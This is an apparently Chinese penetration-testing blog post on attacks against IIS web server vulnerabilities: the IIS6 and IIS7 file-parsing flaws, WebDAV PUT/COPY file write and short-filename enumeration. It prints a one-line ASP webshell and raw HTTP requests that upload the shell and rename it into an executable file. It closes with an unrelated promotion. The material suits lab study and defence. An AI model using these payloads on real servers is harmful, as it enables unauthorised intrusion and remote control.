前言
在渗透过程中我们经常会思考如何去进行渗透,假如给了我们一个有很多中间件的网站我们要如何进行渗透呢?于是本人准备写一些包含常见中间件漏洞攻击的总结,希望可以帮到大家在面临不同渗透环境时会有渗透思路,本篇文章就先给大家介绍IIS中间件漏洞。
IIS是什么?
在学习中间件漏洞前,我们要明白IIS是什么,简单来说,IIS是一种服务,是Windows 2000 Server系列的一个组件。是一种Web(网页)服务组件,它的主要作用可以归纳为以下几点:
网页浏览
文件传输
新闻服务
邮件发送
简单了解后相信大家对于IIS是什么有个大概的了解了,下面就讲解一下IIS中间件会存在的漏洞以及利用方法。
IIS 6 解析漏洞
存在一个Web 服务器(IIS6.0), 假设我们上传服务器一个文件xino.asp;.jpg,服务器默认不解析;号后面的内容,因此xxx.asp;.jpg被当做asp文件解析,于是我们就可以通过这个解析漏洞来上传木马去进行攻击,可以看下面的例子:
我们先建立一个ASP一句话木马,内容为下:
<%eval request("XINO")%>
进入网页通过插件查看网站中间件:
![](https://i-blog.csdnimg.cn/blog_migrate/9720e6115b6a1d6eadbd8e8cdd6960db.png)
发现IIS是存在解析漏洞的版本,于是我们上传XINO.asp;.jpg文件来绕过,上传成功后我们通过WEBSHELL连接工具去进行连接,密码为我们所设置的XINO:
![](https://i-blog.csdnimg.cn/blog_migrate/825372b9458e404a6a3af021245dfa8d.png)
可以发现成功GET到了服务器的SHELL。
IIS 7 解析漏洞
IIS7版本的解析漏洞其实和IIS6的换汤不换药,只是解析方式改变了一下,我们在文件/xino.jpg后面加上/xx.php会将/xino.jpg/xx.php 解析为 php 文件,这样我们就可以在上传的时候写入PHP一句话木马,假如我们写一个php命令执行文件来查看php版本信息:
<?php phpinfo();?>
我们按照上面解析规则来进行绕过,上传成功后访问我们所上传的文件,成功显示给我们了php的信息:
![](https://i-blog.csdnimg.cn/blog_migrate/fb668351b4ddbdf9c9ca3807d3f51b07.png)
PUT任意文件写入
IIS如果在网站拓展服务中开启了WebDAV,可以利用写入权限,通过PUT写入任意文件,我们构造PAYLOAD:
PUT /XINO.txt HTTP1.1
Host: www.xxx.com
Content-Lenth:30
<%eval request("XINO123")%>
上传成功后,我们通过下面命令去进行覆盖:
COPY /xino.txt HTTP1.1
Host:www.xxx.com
Destination:
http://www.xxx.com/xino.asp
发送之后我们xino.txt就会重命名为了xino.asp,这样我们就可以成功上传木马了。
IIS短文件漏洞
该漏洞的原理是因为Windows为文件名较长的文件生成了对应的DOS 8.3 短文件名。而在IIS服务中,我们通过传入带有~符号的路径参数来通过服务器会先判断是否存在这个文件。若存在会返回404,反之返回400。主要影响版本如下:
![](https://i-blog.csdnimg.cn/blog_migrate/11b80bf1fbaa587e778001645949abd8.png)
结语
简单总结了一下IIS中间件的常见漏洞以及攻击方法不知道大家学会了没有,文章主要还是讲了IIS中解析漏洞的实现方法,有兴趣的小伙伴不妨去搭建一个靶机去测试一下,喜欢本文的小伙伴不妨一键三连支持一下。
最后
整理了75个JS高频面试题,并给出了答案和解析,基本上可以保证你能应付面试官关于JS的提问。
有需要的小伙伴,可以点击下方卡片领取,无偿分享